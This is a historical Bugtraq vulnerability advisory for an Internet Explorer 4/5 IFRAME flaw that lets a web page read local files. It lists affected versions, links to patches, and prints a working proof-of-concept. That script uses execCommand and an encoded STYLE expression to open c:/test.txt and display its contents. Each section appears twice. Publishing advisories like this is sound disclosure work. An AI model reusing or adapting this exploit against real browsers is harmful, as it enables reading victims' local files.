Microsoft IE5 IFRAME Vulnerability
BID:696
Info
Microsoft IE5 IFRAME Vulnerability
| Bugtraq ID: | 696 |
| Class: | Access Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 11 1999 12:00AM |
| Updated: | Oct 11 1999 12:00AM |
| Credit: | Posted to Bugtraq on October 11, 1999 by Georgi Guninski <[email protected]>. |
| Vulnerable: |
Microsoft Internet Explorer for Unix 5.0 Microsoft Internet Explorer 4.0.1 for Windows NT 4.0 Microsoft Internet Explorer 4.0.1 for Windows 98 Microsoft Internet Explorer 4.0.1 Microsoft Internet Explorer 5.0 for Windows NT 4 Microsoft Internet Explorer 5.0 for Windows 98 Microsoft Internet Explorer 5.0 for Windows 95 Microsoft Internet Explorer 5.0 for Windows 2000 |
| Not Vulnerable: | |
Discussion
Microsoft IE5 IFRAME Vulnerability
Internet Explorer 5 will allow a malicious web page to read the contents of local files through a weakness in the IE5 security model. Normally the document.execCommand method is restricted from reading and returning data on the local machine, however if the method is called from within an IFRAME this restriction can be circumvented.
Internet Explorer 5 will allow a malicious web page to read the contents of local files through a weakness in the IE5 security model. Normally the document.execCommand method is restricted from reading and returning data on the local machine, however if the method is called from within an IFRAME this restriction can be circumvented.
Exploit / POC
Microsoft IE5 IFRAME Vulnerability
Georgi Guninski has created a demonstration, available at:
http://www.nat.bg/~joro/execcommand.html
The code is as follows:
<SCRIPT>
alert("Create text file c:\\test.txt and it will be read");
function f()
{
I1.focus();
document.execCommand("selectAll");
document.execCommand("InsertParagraph",false,">\"STYLE='left:expression(eval(String.fromCharCode(97,61,119,105,110,100,111,119,46,111,112,101,110,40,39,102,105,108,101,58,47,47,99,58,47,116,101,115,116,46,116,120,116,39,41,59,97,108,101,114,116,40,97,46,100,111,99,117,109,101,110,116,46,98,111,100,121,46,105,110,110,101,114,84,101,120,116,41)));'");
}
setTimeout('f()',2000);
</SCRIPT>
<IFRAME ID="I1" SRC="file://c:/test.txt"></IFRAME>
Georgi Guninski has created a demonstration, available at:
http://www.nat.bg/~joro/execcommand.html
The code is as follows:
<SCRIPT>
alert("Create text file c:\\test.txt and it will be read");
function f()
{
I1.focus();
document.execCommand("selectAll");
document.execCommand("InsertParagraph",false,">\"STYLE='left:expression(eval(String.fromCharCode(97,61,119,105,110,100,111,119,46,111,112,101,110,40,39,102,105,108,101,58,47,47,99,58,47,116,101,115,116,46,116,120,116,39,41,59,97,108,101,114,116,40,97,46,100,111,99,117,109,101,110,116,46,98,111,100,121,46,105,110,110,101,114,84,101,120,116,41)));'");
}
setTimeout('f()',2000);
</SCRIPT>
<IFRAME ID="I1" SRC="file://c:/test.txt"></IFRAME>
Solution / Fix
Microsoft IE5 IFRAME Vulnerability
Solution:
Microsoft has released patches for IE 4.01 and IE5. The IE 4.01 patch is included as part of the IE 4.01 Service Pack 2, available via:
http://www.microsoft.com/windows/ie/download/windows.htm
The IE5 patch is available as an individual fix from:
Intel: ftp://ftp.microsoft.com/peropsys/IE/IE-Public/Fixes/usa/IE50/MSHTML-fix/x86/q243638.exe
Alpha: ftp://ftp.microsoft.com/peropsys/IE/IE-Public/Fixes/usa/IE50/MSHTML-fix/Alpha/q243638.exe
The Microsoft Advisory MS 99-042 notes: "The IE5 patch also includes the previously-released fix for the "Download Behavior" vulnerability, discussed in http://www.microsoft.com/security/bulletins/ms99-040.asp."
This patch has been shown to undo the fixes made and released with MS advisory 99-012 for the Cross-Frame and %01 vulnerabiltiies (http://www.securityfocus.com/bid/117).
Solution:
Microsoft has released patches for IE 4.01 and IE5. The IE 4.01 patch is included as part of the IE 4.01 Service Pack 2, available via:
http://www.microsoft.com/windows/ie/download/windows.htm
The IE5 patch is available as an individual fix from:
Intel: ftp://ftp.microsoft.com/peropsys/IE/IE-Public/Fixes/usa/IE50/MSHTML-fix/x86/q243638.exe
Alpha: ftp://ftp.microsoft.com/peropsys/IE/IE-Public/Fixes/usa/IE50/MSHTML-fix/Alpha/q243638.exe
The Microsoft Advisory MS 99-042 notes: "The IE5 patch also includes the previously-released fix for the "Download Behavior" vulnerability, discussed in http://www.microsoft.com/security/bulletins/ms99-040.asp."
This patch has been shown to undo the fixes made and released with MS advisory 99-012 for the Cross-Frame and %01 vulnerabiltiies (http://www.securityfocus.com/bid/117).
References
Microsoft IE5 IFRAME Vulnerability
References:
References: